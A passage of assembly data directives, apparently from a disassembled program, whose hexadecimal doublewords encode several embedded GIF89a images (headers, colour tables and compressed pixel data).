		dd 0CDA4FF46h, 6AD08D38h, 16D3C57Ah, 555A5145h,	567568CDh
		dd 74573D73h, 5D75574Dh, 576D7657h, 78577D77h, 2D75D78Dh
		dd 0D7151351h, 79541543h, 5D7D57CDh, 53F07ED6h,	7ED6757Eh
		dd 0ED44D7F5h, 582D71D7h, 7E580D83h, 55665845h,	0D68573D8h
		dd 82543D7Bh, 3D6945EDh, 0C63CA2D8h, 0EC463D53h, 0BD11B7ACh
		dd 0C4337C3Dh, 0BEC83C82h, 987BCBF4h, 0BEF484B4h, 7987BB48h
		dd 9B485940h, 4F84BA43h, 80BA4h, 3Bh, 38464947h, 136139h
		dd 0F5E70017h, 20212200h, 38583A1Fh, 3D163537h,	5C3C1C63h
		dd 1C613D19h, 3E1F603Eh, 5F402360h, 2162411Fh, 421E6241h
		dd 5D422865h, 1D3E3F41h, 48226B46h, 6D48236Eh, 1F684928h
		dd 4646754Bh, 6F4D2546h, 21674B30h, 4F267B4Fh, 764F2774h
		dd 27745128h, 542A7952h, 7B542B7Bh, 2C835625h, 59267F58h
		dd 7A5A2E87h, 58865C2Eh, 5A435556h, 855E3071h, 336E5A47h
		dd 5F32805Fh, 87603184h, 5A8C6130h, 6437595Ah, 5B5D5F88h
		dd 388F6636h, 61628A66h, 62626260h, 3B906A3Ah, 664E8E6Ah
		dd 946B3A80h, 3B8F6D40h, 6953966Eh, 91704181h, 47936E48h
		dd 6A6C8E71h, 97734268h, 46856F58h, 75479473h, 9A764397h
		dd 4283705Fh, 7849A176h, 71727497h, 4B9C7B49h, 795E9B7Ch
		dd 9A7A5994h, 48777777h, 7778A980h, 85796D76h, 79A8804Bh
		dd 7E6A7879h, 91807094h, 5FA48565h, 8282A289h, 97877083h
		dd 85878583h, 90598585h, 0B59159B4h, 5D8A8887h,	8D73B592h
		dd 948C84A6h, 8C8D8C8Bh, 908F8E8Dh, 0AC977191h,	95959494h
		dd 9F669595h, 0A19990C1h, 92C1A16Ch, 9B92A199h,	0C2A36DA4h
		dd 95AD9C8Ch
		dd 9D8DA29Bh, 9D9B99A8h, 719B9B9Bh, 0A281C3A5h,	9F9F9FB4h
		dd 8EA2A2A2h, 0B075BBAAh, 0CDAF7ECCh, 80CEB37Dh, 0ABABCFB4h
		dd 0C2AF96ABh, 83BBAE9Eh, 0ACACD0B4h, 0C1B19AACh, 9EB2B0AFh
		dd 0B5ABCAB7h, 0D6BB8EBBh, 0A8D9C185h, 0BC9DC7B9h, 0B6B7B8D1h
		dd 0A3D9BF92h, 0B8B9CFBCh, 0D4BE9BB7h, 0ACD9C191h, 0C28FC8BBh
		dd 0DAC38DD9h, 9CBABABAh, 0BBBBD8C1h, 0DAC29CBBh, 0BDDBC39Ah
		dd 0C1A7BCBCh, 0DBC39ED2h, 9CCFC1AEh, 0C0C2DDC6h, 0DEC99CBEh
		dd 0C2C1C1C1h, 0C3B8C1C1h, 0DFCA9BCEh, 9BE1CE93h, 0C4C4E1CDh
		dd 0C5C5C5C4h, 0C6E1CF9Ah, 0C6C9C6C6h, 0E4CDA9C4h, 0AADBCCB1h
		dd 0CBC6E5CFh, 0E6D1AACEh, 0AAD2CCC4h, 0CCCCE8D3h, 0D3CEC6CCh
		dd 0AACDCDCDh, 0CFC6E9D5h, 0D3CFC7D4h, 0CCD4D0C6h, 0D1C7CFCFh
		dd 0D5D2C7D5h, 0D2D0D0D0h, 0D9ABCED0h, 0D6D3C7EAh, 0BBD1D1D1h
		dd 0D2D2E4D7h, 0EDDDABD2h, 0D2D8D6CAh, 0D5D5D5D4h, 0EEE0ACD5h
		dd 0A9D6D6D6h, 0D8D7EFE2h, 0DADADAD9h, 0C3D8DADCh, 0DBDBEBE0h
		dd 0D9DBDCDBh, 0DDDCDCDCh, 0DDDDDCDDh, 0DCDDDFDDh, 0DFDEDEDEh
		dd 0DFE0DEDFh, 0F0E7CADFh, 0E5E0E2E3h, 0E3E3DFE2h, 0E4E4E4E3h
		dd 0E8F1E7D9h, 0E6E6E3E5h, 0F5E9D8E6h, 0EAE9E9E9h, 0EBE8EAEAh
		dd 0F4EDE1EEh, 0EDEBEBEBh, 0ECEFECECh, 0EDEDEDE9h, 0F3EDEFF1h
		dd 0F1F1EEF0h, 0F2F2F2F1h, 0F3F8F3EDh, 0F4F4F3F3h, 0F4F4F5F4h
		dd 0E2F5F5F5h, 0F5F7FFFAh, 0F6F6F6F3h, 0F7FAF7F3h, 0F9F9F7F7h
		dd 0FAFAFAF9h, 0FDFBFBFDh, 0FEFEFDFDh, 0FEFFFFFEh, 8 dup(0FFFFFFFFh)
		dd 4F921FFh, 0FF000A01h, 2C00h,	130000h, 8000017h, 0C9FF00FEh
		dd 0D68B85EAh, 5EAF58ACh, 6A9562C1h, 0C487B118h, 0A7FBFD8Eh
		dd 5E30184Eh, 42A95CB7h, 0B6148A65h, 0EE43207Ah, 53AD07F9h
		dd 309C4F28h, 0A9448A59h, 7197C85Ah, 0C40B19FEh, 42A25168h
		dd 7B712080h, 3FCE12F9h, 0D8EA735Dh, 51C743D1h,	0E6F27AB9h
		dd 0E6D7ACF1h, 6831A95Fh, 0D44194DCh, 783BE90Eh, 339DD2EEh
		dd 989E8E47h, 68B0937Fh, 5DC832B9h, 0C0EC783Ch,	8D96D375h
		dd 5E6DB86Dh, 0D251F9FEh, 743AD0C4h, 9B75C6E4h,	0B52FAD46h
		dd 54A29B6Fh, 484787F9h, 0BADE7125h, 0ACD6BDB5h, 826B33F1h
		dd 0F298E452h, 69228F2Fh, 4E6732C7h, 0B3996CB6h, 7C6C7C68h
		dd 0DFE4E240h, 52BB6423h, 0EBF5CEA7h, 72653318h, 0B0E8D080h
		dd 313FC585h, 0D6E95AC1h, 3156AABDh, 0F08A6F5Fh, 0CD216168h
		dd 44B91844h, 0CA0E5729h, 463029D6h, 0C108C47Eh, 7FC4CCC1h
		dd 0DA653E8Dh, 1FD469AEh, 777C4329h, 0E12140C8h, 49EB9108h
		dd 247A3D44h, 1D1AD2E9h, 20B86A38h, 99C1E1A1h, 34EF13EBh
		dd 0A887422h, 9C2B1308h, 30601E0h, 7E03B13Ch, 48D04CFFh
		dd 40383D1Fh, 5C1B0641h, 33014100h, 44E0817Ch, 8111902Fh
		dd 0B0180402h, 0DC070240h, 0D785C6C0h, 8C5C0A9h, 4080040Ch
		dd 1845005h, 35D78900h,	25130590h, 12C6A104h, 42285E30h
		dd 90085617h, 6408FE3h,	405D79h, 3Bh, 0
		dd 38464947h, 2F6139h, 0FFE70035h, 52291400h, 11282A29h
		dd 2D1B5E2Fh, 522D205Dh, 0E5A301Dh, 331E7134h, 64351A57h
		dd 246B361Bh, 352A6136h, 68391F5Ch, 0D623A21h, 3B1C7D3Eh
		dd 6B3B2276h, 3A723D1Dh, 3E25393Bh, 5E3D306Eh, 2D633E2Bh
		dd 4026693Eh, 7842226Ah, 1A72412Ah, 44228045h, 63423573h
		dd 28694330h, 46278145h, 8948217Ch, 4579492Ah, 492B4447h
		dd 864B2380h, 2F694934h, 49396F4Ah, 69483B64h, 34834C2Fh
		dd 4E36784Dh, 864F327Ah, 2B8D512Ch, 4F3D8852h, 7E543276h
		dd 31845335h, 53519255h, 8E583250h, 3A835837h, 573C8957h
		dd 7357488Fh, 33845840h, 5C38985Ch, 8D5C3E92h, 5F905F38h
		dd 5E45595Ah, 5A5C5B85h, 5A97603Ch, 6043605Eh, 83614D92h
		dd 3FA1643Bh, 62609665h, 7A62575Fh, 46966447h, 674B9165h
		dd 78655E9Ah, 47A76A3Fh, 6B4CA26Ah, 9E6C4797h, 66666967h
		dd 6C557769h, 0A1714190h, 519B7048h, 72469C6Fh,	987250A9h
		dd 4F6B6E6Dh, 744CA971h, 0A37751A0h, 4C9D7755h,	7752AF78h
		dd 797577A9h, 698B766Eh, 78769678h, 0A47E5875h,	64B07E59h
		dd 7D659C7Eh, 8F7D72A6h, 7C8B7D79h, 7E837B7Eh, 0B783607Dh
		dd 79AB8463h, 885B9581h, 808381BAh, 5FAB896Dh, 8876BE8Ch
		dd 0BA8D68A9h, 85A38A7Bh, 8A8B9889h, 0BE916B88h, 8CB99170h
		dd 9084918Eh, 0B693789Dh, 82C39767h, 966FB092h,	9D918EC3h
		dd 7E8F9290h, 9A74B396h, 0C99D6EC8h, 969A9698h,	99919598h
		dd 0B09C87A1h, 92C69E7Dh, 0A07AB39Bh, 0C29F83CEh, 74C8A07Fh
		dd 0A47BD0A3h, 0A59F9ACBh, 0A0CDA584h, 0A59A9FA2h, 0BFA793B9h
		dd 7AD2AB81h, 0A989D3ADh, 0AEA7A3D2h, 93A5A8A6h, 0B17EC9ABh
		dd 0D8AF8ED7h, 0ABD9B188h, 0AEA4AAADh, 0D4B38CBCh, 0B4D6B296h
		dd 0B1ACADAEh, 0DEB889B4h, 93C6B3A5h, 0B2B8D9B7h, 0B2B5B3B1h
		dd 9CDCBC8Eh, 0B8A1DCB8h, 0DEBB97D7h, 0BDB5B8B6h, 0C093B6B7h
		dd 0E1BE9AE1h, 0A1BDBAB7h, 0BBB9E1BDh, 0DDBFA7B8h, 9BDEC1A1h
		dd 0BDC2DFC4h, 0BCBFBDBBh, 0AECEC0B6h, 0C0BCDBC2h, 0E3C997C9h
		dd 0C0E2C5A5h, 0C1C6BFC2h, 0E4C9A0BFh, 0C6E4C6AEh, 0C5C3C8C3h
		dd 0E7C8B1C1h, 0ABE8CDA4h, 0CF9EE8CBh, 0C5C6CBE9h, 0C3E3CAB6h
		dd 0C9C7CEC9h, 0E5CDB1C6h, 0CAE0CCBDh, 0D2AEC9CCh, 0D8CFCAE8h
		dd 0CED3CFCEh, 0D1C5CDD0h, 0CDCFD4DFh, 0D0ECD6B2h, 0DBAECFD2h
		dd 0D1D2D8EFh, 0D4D1D4D2h, 0D8C8D3D6h, 0DAD7D4ECh, 0CED5D6DBh
		dd 0D9D5E8DAh, 0D8D9DEE2h, 0DCD7DBD9h, 0DFDADBDEh, 0DCDEE3E2h
		dd 0D6DDE0DEh, 0E2DFF0E2h, 0E1E4E2DEh, 0E1E2E3E8h, 0E9DCE9E7h
		dd 0E5E8E6F7h, 0E8E7E8EEh, 0EDE4E7EAh, 0EBECF2F5h, 0E1EBEEECh
		dd 0F2EFF9F2h, 0F5F2EDEEh, 0E8F0F1F7h, 0F5F2FEF6h, 0FAF8F2F1h
		dd 0F7F6F7FDh, 0FCFAF6F9h, 0FFFDF8F9h, 0FDFAFCFFh, 0FFFFFCFFh
		dd 4F921FFh, 0FF000A01h, 2C00h,	2F0000h, 8000035h, 9FF00FEh
		dd 8D46B354h, 130883C1h, 7058342Ah, 23842A1h, 0E7F38623h
		dd 8BC59F8Fh, 0C46A3318h, 0C7A3B148h, 0FE22F78Fh, 0DD6FC79Bh
		dd 52D56BB5h, 0F2C67B56h, 0C697B319h, 160B1262h, 60CD988Ch
		dd 0FBF1CCC9h, 98E3B3C8h, 1DECF088h, 68AC563Bh,	7B486051h
		dd 0B55AD29h, 0B25A2D56h, 0D7354AA0h, 2CBFAAB3h, 22F1ED40h
		dd 3029147Ah, 3E98BDA5h, 0ACAB4A8Dh, 0ACEB60ACh, 302AC556h
		dd 5E5B2BE8h, 25B2D981h, 5AD3A9B6h, 0AA96564h, 0DAED4EF6h
		dd 0A5E4ED88h, 16D6F57Ah, 12B05B61h, 4AC56627h,	0A1556395h
		dd 5BF3D192h, 79600A35h, 7E6952A4h, 6333B8C5h, 871EA653h
		dd 729924E2h, 0DEEE88E5h, 9D5026Dh, 0A6D7EBB4h,	0BD1EC942h
		dd 0D3E99F0Dh, 0B3C9D902h, 0EF93A9B4h, 0B382A04Eh, 0F649C4E6h
		dd 76DB4E25h, 5969EEDEh, 8E75BA60h, 4E9A551Eh, 0EBA5FA7Dh
		dd 0D2852297h, 0BEE7BCB9h, 0FE9F1123h, 0FD1E8A13h, 0E8F3A451h
		dd 0F50A2D23h, 0F7BEF94Eh, 0FEDDF7F0h, 0BADCF11Eh, 13F2843Eh
		dd 5128945Ah, 0C8DFFA3h, 0F1479EC2h, 8151F7C5h,	8FB3E8FAh
		dd 7409E03Eh, 0E074398Eh, 7F84C7F1h, 85A1620Ch,	1932AC7Fh
		dd 182A0981h, 0CCF73E9Fh, 2388E223h, 834F73DEh,	8E6390FFh
		dd 11D0721Ch, 0FE301E21h, 0B62EA301h, 8760B815h, 0CF13CE21h
		dd 0B8F63C8Eh, 862888A3h, 6F1B0DE3h, 1BC6F1D0h,	6C1D22Ch
		dd 8450BA1Eh, 81EF878Fh, 0EE3C6228h, 95E56954h,	4F73CE57h
		dd 0D444423Ch, 1065378Dh, 6C98C6C9h, 33474194h,	61D880FEh
		dd 0C3B8F387h, 0C6709BCEh, 0F33AA729h, 3B8DF3A8h, 8DE36228h
		dd 0D9F46517h, 4C7415E7h, 26884FD3h, 886203DEh,	68A9CA6Eh
		dd 0E1CE759Ch, 443E3B87h, 5A34CD84h, 17C5E178h,	0C791345Ah
		dd 43D4F937h, 0B23B88E2h, 0A4A8CE73h, 3A2A5A96h, 867380F0h
		dd 3C47301h, 0D6FE4444h, 1684E34Ch, 4515C5Fh, 0F3E4E31Fh
		dd 8A3D8EA9h, 0A3AFEA6Ah, 170D03C6h, 7E03C0Eh, 240A913Bh
		dd 384EAC8Dh, 0EA230451h, 8F8F03D4h, 0E83BA58h,	93BABFB0h
		dd 7820140Bh, 0AF3B2C60h, 0AC8CE40Ah, 89A1143Ah, 73B0F33Bh
		dd 86A2A2E5h, 0EFBBEEE3h, 39CE138Ah, 44B294ECh,	60902D0Bh
		dd 443339ECh, 3A34CBF4h, 3B8A5104h, 0E8A8CEDh, 8B5CEC3Ah
		dd 370C38ADh, 0F339F0CCh, 12C9439Eh, 0EF90DC34h, 23848A03h
		dd 58B929D2h, 0F239CA51h, 0C8F22BC2h, 0E738ED8h, 11071339h
		dd 601AC584h, 22388930h, 2ECDC249h, 0CD9368E1h,	0ACE738CDh
		dd 0BB2336B3h, 0DC3A4E4Bh, 12C50208h, 4320EC41h, 50601E0Bh
		dd 0DD22364Ah, 3ACD8E71h, 0CF751D47h, 0D13A4E1h, 0BD0C541Fh
		dd 841AD1F2h, 222DCB90h, 364E1145h, 0F66D94D6h,	0DD9B68D9h
		dd 0C4CA39F3h, 50158501h, 0B72B118h, 3903C29h, 34889934h
		dd 0D933FE83h, 0DFCD2338h, 0F82E0780h, 6368D9DFh, 88E13738h
		dd 5B1B4B93h, 0DC85616Ch, 0C23C583Bh, 38C5303h,	68AD4891h
		dd 9CE6CCE3h, 0E739EE77h, 4E0E1B85h, 0CE309F37h, 0EC46DC05h
		dd 1FBE4340h, 38875024h, 486446C9h, 6ED4CB36h, 0DBB8EDFBh
		dd 63CDCD6Eh, 1706424Fh, 0F711545Ch, 30B7AA10h,	7C180442h
		dd 2488CE2h, 338D2145h,	0BB7F47B9h, 1384D934h, 745D220Dh
		dd 4613FC11h, 0B034F10h, 40908C29h, 0C248D10Eh,	38B340BCh
		dd 0ECFACC33h, 0FAFEEFB7h, 8CA384CEh, 0E1705B20h, 0C4A13F8h
		dd 2E0D03C1h, 2418F84h,	73472062h, 0F5081798h, 880E2F9h
		dd 8702A04Ch, 0C45D8D91h, 0C05D0B61h, 67B81582h, 6F7DFD84h
		dd 0C0CBAD04h, 3E719027h, 7D610081h, 1E10C0Ah, 658C3171h
		dd 580CC27Ch, 9E1542C0h, 0F41EBF80h, 602E06C0h,	47FF0601h
		dd 0A1DC7084h, 0C4910283h, 0C3C17032h, 8790FA1Eh, 0C5F0B1FEh
		dd 0C2A1102Fh, 7BAFE209h, 0F821803Ch, 881803Eh,	0D4126040h
		dd 8E40A1C0h, 0CC5F0B80h, 0CC588AE2h, 817E2CE2h, 40FC3A8Bh
		dd 8253F809h, 83C07A11h, 8960C624h, 2409818h, 408DC088h
		dd 86205148h, 0B116A2B0h, 8C5B8B18h, 0A8350CC2h, 0E0941281h
		dd 0E0DA24C2h, 2263E18Ch, 81001004h, 8DE30C4Fh,	2A019902h
		dd 468AD166h, 0B891B23Ah, 6014C4C0h, 0F41A8300h, 747F06D1h
		dd 9830FF41h, 60400801h, 86C86200h, 1039101Ah, 94E2A246h
		dd 2CC56CA7h, 1083F120h, 3195E0ACh, 5326A588h, 7A34C810h
		dd 102F0072h, 29482786h, 12A059BBh, 83DC8D15h, 8210360Ah
		dd 6208662h, 0CE5A3FDh,	4FC9E031h, 8713002Ah, 332265E4h
		dd 0FA538AD1h, 88130D12h, 0B9B606C0h, 608C0FCDh, 24E81986h
		dd 0C8301804h
		dd 1A420002h, 0F366913Fh, 538A813Ch, 0C0C228Ch,	3D336420h
		dd 4E70CE19h, 0FE089C60h, 10058060h, 50370050h,	8CEA8DC3h
		dd 714418C8h, 0A020308Ah, 501703h, 50A01002h, 9E327A79h
		dd 280B4F9h, 6706800Ah,	22A02F98h, 0EC2A0351h, 980A8250h
		dd 280D03A0h, 0B00B4880h, 400A85D0h, 80E81701h,	6E01402h
		dd 2427869h, 1ADE6518h,	1C087150h, 2804A054h, 1C0A8h, 8010000h
		dd 68050060h, 0DA540740h, 54B83D81h, 1F3D3104h,	9014418h
		dd 3A05426h, 5012825h, 2800008h, 1D05153Ch, 300E0058h
		dd 268B8D21h, 0C8477CF5h, 70D22784h, 95440A02h,	81401D03h
		dd 81C02B5Ah, 1902C430h, 14AAFC37h, 4289E10Dh, 27ACA148h
		dd 38094138h, 402401C0h, 60AD1902h, 38A55C8Bh, 42644906h
		dd 1384C0Fh, 4805007h, 17C2CC40h, 60EA4086h, 38022911h
		dd 7A124248h, 5C21C348h, 0A0490B31h, 9CA4B268h,	0B10C1C01h
		dd 21444948h, 0A8C5A000h, 470C608h, 0B5F6A6D4h,	8010D01h
		dd 3B00h, 38464947h, 0F16139h, 6DC60028h, 0F3E7C900h, 0C9F3E7CAh
		dd 0E8CAF3E8h, 0F3E8CBF3h, 0CCF4E8CBh, 0E9CCF4E8h, 0F4E9CDF4h
		dd 0CDF4E9CEh, 0EACEF4EAh, 0F5EACEF4h, 0CFF4EACFh, 0EAD1F5EAh
		dd 0F4EBD0F5h, 0D1F5EBD0h, 0EBD1F4EBh, 0F5EBD2F5h, 0D2F5EBD3h
		dd 0ECD3F5ECh, 0F6ECD3F5h, 0D5F6ECD4h, 0EDD4F6ECh, 0F6EDD4F5h
		dd 0D5F5EDD5h, 0EDD6F6EDh, 0F6EDD6F5h, 0D6F6EDD7h, 0ECDEF6EEh
		dd 0F6EED7F3h, 0D8F6EED8h, 0EED9F7EEh, 0F6EFD8F6h, 0DAF6EFD9h
		dd 0EFDAF6EFh, 0F7EFDBF7h, 0DCF7F0DAh, 0F0DDF7F0h, 0F8F1DDF7h
		dd 0DEF7F1DEh, 0F1DFF8F1h, 0F8F1E0F8h, 0E0F9F1E0h, 0F2E0F8F2h
		dd 0F8F2E1F9h, 0E2F7F1E5h, 0F2E2F8F2h, 0F5F1E7F9h, 0E3F8F2E3h
		dd 0F3E0F9F2h, 0FAF3E1FAh, 0E3FAF3E2h, 0F3E4F9F3h, 0F8F3E5F9h
		dd 0E5FAF4E1h, 0F4E2F9F3h, 0FAF4E3FAh, 0E5FAF4E4h, 0F4E4F8F4h
		dd 0F9F4E5FBh, 0E6F9F4E6h, 0F4E7FAF4h, 0FBF5E4FAh, 0E6FBF5E5h
		dd 0F5E7FBF5h, 0FBF5E7FAh, 0E7FAF5E8h, 0F6E8FBF6h, 0FBF6E8FAh
		dd 0E9FAF6E9h, 0F6EAFBF6h, 0FAF6EBFBh, 0EAF9F6EEh, 0F7EAFBF7h
		dd 0FCF7EBFCh, 0EEFCF7ECh, 0F8ECFAF7h, 0FCF8EDFCh, 0EFFCF8EEh
		dd 0F9F0FCF9h, 0FDF9F0FCh, 0F2FCF9F1h, 0FBF4FDFAh, 0FEFCF7FDh
		dd 0Eh dup(0FFFFFFFFh),	4F921FFh, 7F000A01h, 2C00h, 0F10000h
		dd 7000028h, 827F80FEh,	86858483h, 8A898887h, 8E8D8C8Bh
		dd 9291908Fh, 96959493h, 9A999897h, 9E9D9C9Bh, 6A6B6C91h
		dd 0A6A56668h, 0AAA9A8A7h, 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h
		dd 6867B5B7h, 6B853C62h, 5B606468h, 0C6C5C4C3h,	0CAC9C8C7h
		dd 0CECDCCCBh, 0D2D1D0CFh, 0D3D5D4D3h, 6663605Fh, 646A8467h
		dd 0E251545Ah, 0E6E5E4E3h, 0EAE9E8E7h, 0EEEDECEBh, 0F2F1F0EFh
		dd 52F2F4F3h, 655F5852h, 606882DCh, 88E4954h, 0A0B0481Ch
		dd 130883C1h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h,	8B922231h
		dd 2978A44Bh, 999045D3h, 8E512Dh, 0A4B24919h, 532893C9h
		dd 0B2C95CAAh, 3097CBA5h, 499CCA63h, 20CD66B3h,	4984AC49h
		dd 48A411E3h, 0A83409Bh, 0A8B44A1Dh, 9126A3D1h,	0A6830148h
		dd 50A44867h, 4A9D4AA3h, 2F52AAB5h, 0AD3E3EFCh,	0D7ABB5CAh
		dd 44915FAFh, 0E9C662D9h, 0D368B04Fh, 0F2FB5DAAh, 0FEB2D8C8h
		dd 659EB47Fh, 0DDAEB74Bh, 9AC96EAEh, 0AFB7CBBDh, 0E179A1DFh
		dd 0B84BFDCAh, 819561B0h, 0CC5E1EF7h, 0B8E26FD8h, 9E4B1B3Eh
		dd 60F1F6BCh, 533398CAh, 0B3591CB5h, 2D44CFE7h,	0E452816Bh
		dd 0A8D3E987h, 0CD5EAB53h, 0D7EBB5BAh, 9ECB63B0h, 0EDB6BB4Dh
		dd 1773B8DBh, 6E05A281h, 4A2E1D96h, 0BC4E1880h,	0C8E3F1B8h
		dd 0CE5F2B93h, 0E7F3B9BCh, 9F4BA3D0h, 0F5BABD4Eh, 64762E12h
		dd 46E57411h, 0C21C110Bh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h
		dd 0F7FBBDBEh, 9FCBE3F0h, 8B445F4Fh, 5504571Bh,	4402B1A9h
		dd 600FF86h, 480E028h, 81E06816h, 0E0A82608h, 0E8360C82h
		dd 461083E0h, 2B082128h, 7E8550D4h, 0C1D0A434h,	0E8761C05h
		dd 862087E1h, 2488E228h, 89E26896h, 0E2A8A628h,	0E8B62C8Ah
		dd 0A41D8BE2h, 7F85C340h, 0A03314Ch, 0E3A0581Bh, 0E8F63C8Eh
		dd 6408FE3h, 4490E429h,	91E46916h, 0A9FE2648h, 364C92E4h
		dd 330A01B9h, 13C8214Ch, 0C1709032h, 0A9665804h, 765C96E5h
		dd 6097E5E9h, 98E62986h, 0E6699664h, 0A9A66899h, 90179AE6h
		dd 8213C320h, 9030138h,	0E7604416h, 0A9E6789Dh,	0F67C9EE7h
		dd 809FE7E9h, 0A0E82A06h, 0E86A1684h, 6A2688A1h, 38300901h
		dd 2F134821h, 3413080h,	0E96A5694h, 0AA6698A5h,	769CA6E9h
		dd 0A0A7E9EAh, 0A8EA2A86h, 0EA6A96A4h, 0F08013A9h, 30821342h
		dd 110782E1h, 0ACEB202Ch, 0EB6AD6B4h, 0AAE6B8ADh, 0F6BCAEEBh
		dd 0C0AFEBEAh, 0B0EC2B06h, 811B16C4h, 21302E07h, 642C1188h
		dd 0D00200E0h, 0B4ED2B46h, 0ED6B56D4h, 0AB66D8B5h, 76DCB6EDh
		dd 0E0B7EDEBh, 0B8EE2B86h, 82C0640Eh, 0C10C8211h, 1C0C0602h
		dd 0F0BBEEE0h, 0BCEF2BC6h, 0EF6BD6F4h, 0ABE6F8BDh, 0F6FCBEEFh
		dd 0BFEFEBh, 600CC07h, 0AE910C2Ch, 4020140Ah, 370CC2C0h
		dd 10C3F0ECh, 0C4F12C47h, 6C57FE14h, 6718C5F1h,	1CC6F1ACh
		dd 271EC77h, 0F060A815h, 30A4421Fh, 0A40301C1h,	2CCAF2ACh
		dd 0CBF2ECB7h, 0F32CC730h, 6CD734CCh, 0E738CDF3h, 3CCEF3ACh
		dd 0AC16023h, 0C2810B23h, 6D1402C9h, 2748D1F4h,	4CD2F4ADh
		dd 0D3F4ED37h, 0F52D4750h, 6D5754D4h, 0F57D5F5h, 0CACFC0A0h
		dd 943E1FEh, 0C000180Fh, 6D9764D8h, 0A768D9F6h,	6CDAF6ADh
		dd 0DBF6EDB7h, 0F72DC770h, 4DD774DCh, 24040077h, 0E9AAC1A0h
		dd 17090AEh, 0F82E0780h, 6E1784E0h, 2788E1F8h, 8CE2F8AEh
		dd 0E3F8EE37h, 792E4790h, 402407E4h, 0E4360981h, 1F0BE8F0h
		dd 0E7EA7048h, 0FA2E87A0h, 6E97A4E8h, 4810A57Ah, 31094170h
		dd 17083128h, 0DD670442h, 6ED7B4ECh, 0E7B8EDFBh, 2170FBAEh
		dd 0B827090h, 48411036h, 21345C1Ah, 27C80E04h, 0CCF2FCAFh
		dd 0F3FCEF37h, 0FD2F47D0h, 6F57D4F4h, 67D8F5FDh, 3AF63DAFh
		dd 8C3D108h, 2F849F13h,	97E4F8FEh, 0E8F9FE6Fh, 0FAFEAFA7h
		dd 8121BECh, 3B00h, 0
		dd 38464947h, 0F16139h,	6DC60028h, 0D9B77300h, 73D9B775h
		dd 0BA75D9BAh, 0D9BA77D9h, 79DCBA77h, 0BD79DCBAh, 0DCBD7BDCh
		dd 7BDCBD7Dh, 0BF7DDCBFh, 0DFBF7DDCh, 7FDCBF7Fh, 0BF83DFBFh
		dd 0DCC281DFh, 83DFC281h, 0C283DCC2h, 0DFC285DFh, 85DFC288h
		dd 0C588DFC5h, 0E2C588DFh, 8CE2C58Ah, 0C88AE2C5h, 0E2C88ADFh
		dd 8CDFC88Ch, 0C88EE2C8h, 0E2C88EDFh, 0A1E2C890h, 0CB8ED9C5h
		dd 0E2CB90E2h, 93E2CB93h, 0CB95E5CBh, 0E2CD93E2h, 97E2CD95h
		dd 0CD97E2CDh, 0E5CD9AE5h, 9CE5D097h, 0D09EE5D0h, 0E8D39EE5h
		dd 0A1E5D3A1h, 0D3A3E8D3h, 0E8D3A6E8h, 0A6ECD3A6h, 0D3B2E8D6h
		dd 0ECD6A6E5h, 0B7E8D6A8h, 0D6ABDFD3h, 0ECD6ABE8h, 0ADE8D6ADh
		dd 0D9A6ECD6h, 0EFD9A8EFh, 0ADEFD9ABh, 0D9B0ECD9h, 0E8D9B2ECh
		dd 0A8ECD9B2h, 0DCABEFDCh, 0EFDCADEFh, 0B0E8DCB2h, 0DCB2EFDCh
		dd 0F2DCB0ECh, 0B5ECDCB5h, 0DCB7EFDCh, 0F2DFB0EFh, 0B5F2DFB2h
		dd 0DFB7F2DFh, 0F2DFB7EFh, 0B7EFDFBAh, 0E2BAF2E2h, 0F2E2BAEFh
		dd 0BDEFE2BDh, 0E2BFF2E2h, 0EFE2C2F2h, 0BFECE2CBh, 0E5BFF2E5h
		dd 0F5E5C2F5h, 0CBF5E5C5h, 0E8C5EFE5h, 0F5E8C8F5h, 0CDF5E8CBh
		dd 0ECD0F5ECh, 0F8ECD0F5h, 0D6F5ECD3h, 0F2DCF8EFh, 0FCF5E5F8h
		dd 0Eh dup(0FFFFFFFFh),	4F921FFh, 7F000A01h, 2C00h, 0F10000h
		dd 7000028h, 827F80FEh,	86858483h, 8A898887h, 8E8D8C8Bh
		dd 9291908Fh, 96959493h, 9A999897h, 9E9D9C9Bh, 6A6B6C91h
		dd 0A6A56668h, 0AAA9A8A7h, 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h
		dd 6867B5B7h, 6B853A62h, 5B606468h, 0C6C5C4C3h,	0CAC9C8C7h
		dd 0CECDCCCBh, 0D2D1D0CFh, 0D3D5D4D3h, 6663605Fh, 646A8467h
		dd 0E251545Ah, 0E6E5E4E3h, 0EAE9E8E7h, 0EEEDECEBh, 0F2F1F0EFh
		dd 52F2F4F3h, 655F5852h, 606882DCh, 88E4A54h, 0A0B0481Ch
		dd 130883C1h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h,	8B922231h
		dd 2978A44Ch, 999045D3h, 8E512Dh, 0A4B24919h, 532893C9h
		dd 0B2C95CAAh, 3097CBA5h, 499CCA63h, 20CD66B3h,	4984AC4Ah
		dd 48A411E3h, 0A83409Bh, 0A8B44A1Dh, 9126A3D1h,	0A6830148h
		dd 50A44867h, 4A9D4AA3h, 2F52AAB5h, 0AD3E3EFCh,	0D7ABB5CAh
		dd 44915FAFh, 0E9C662D9h, 0D368B04Fh, 0F2FB5DAAh, 0FEB2D8C8h
		dd 659EB47Fh, 0DDAEB74Bh, 9AC96EAEh, 0AFB7CBBDh, 0E179A1DFh
		dd 0B84BFDCAh, 819561B0h, 0CC5E1EF7h, 0B8E26FD8h, 9E4B1B3Eh
		dd 60F1F6BCh, 533398CAh, 0B3591CB5h, 2D44CFE7h,	0E462816Bh
		dd 0A8D3E987h, 0CD5EAB53h, 0D7EBB5BAh, 9ECB63B0h, 0EDB6BB4Dh
		dd 1B73B8DBh, 6E05A281h, 4A2E1E16h, 0BC4E1880h,	0C8E3F1B8h
		dd 0CE5F2B93h, 0E7F3B9BCh, 9F4BA3D0h, 0F5BABD4Eh, 64782E12h
		dd 47057411h, 0C21C118Bh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h
		dd 0F7FBBDBEh, 9FCBE3F0h, 0B447F4Fh, 5504571Ch,	4402B1A9h
		dd 600FF86h, 480E028h, 81E06816h, 0E0A82608h, 0E8360C82h
		dd 461083E0h, 2B082128h, 7E8550D4h, 0C1D0A434h,	0E8761C05h
		dd 862087E1h, 2488E228h, 89E26896h, 0E2A8A628h,	0E8B62C8Ah
		dd 0A41D8BE2h, 7F85C340h, 0A03314Ch, 0E3A0581Bh, 0E8F63C8Eh
